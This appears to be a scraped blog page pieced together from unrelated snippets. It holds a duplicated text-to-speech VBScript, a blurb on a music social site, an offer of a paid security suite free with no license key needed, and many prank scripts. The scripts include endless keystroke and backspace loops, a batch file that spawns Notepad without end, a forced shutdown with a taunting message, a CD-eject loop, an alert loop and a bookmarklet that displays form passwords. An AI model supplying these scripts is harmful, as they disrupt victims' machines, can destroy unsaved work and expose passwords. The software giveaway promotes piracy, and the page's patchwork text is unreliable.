Dim message, sapi
message=InputBox(“Type the text which you want me to speak”,”Text To Voice Software”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message
mRockstar.com, it’s social networking website plus a music based community. The pre-phase of the website was launched on April 5, 2011 to let people reserve their mRockstar Usernames
If you buy this product from the Official Webpage, it will cost you more than $49 per year. But now you’ve got a chance to get it for absolutely free. You don’t need any license key for this package because it has already been integrated with the package. Just download it and you’ve a fully featured Internet security system which will protect your PC from Viruses, Trojans, Malwares, Hackers and every type of threat that can harm your computer. Grab this offer
Avast antivirus is one of the top leading antivirus and it is available for free download.You will get a fully functional 30 day trial version of avast if you download directly from their website.To activate it for one year you need to register with them.Once registered you will get your Serial license key into your mailbox.
Dim message, sapi
message=InputBox(“Type the text which you want me to speak”,”Text To Voice Software”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message
JavaScript is an implementation of the ECMAScript language standard and is typically used to enable programmatic access to computational objects within a host environment. JavaScript is primarily used in the form of client-side JavaScript, implemented as part of a web browser in order to provide enhanced user interfaces and dynamic websites. However, its use in applications outside web pages is also significant.
javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();
javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://erkie.github.com/asteroids.min.js';void(0);
javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0
javascript:while(1){alert('Restart your brower to close this box!')}
javascript: alert(4+5+6+7+(3*10));
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo “
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re “
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? “
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
MsgBox “Let’s rock and roll”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Email:- iqbalmann22@gmail.com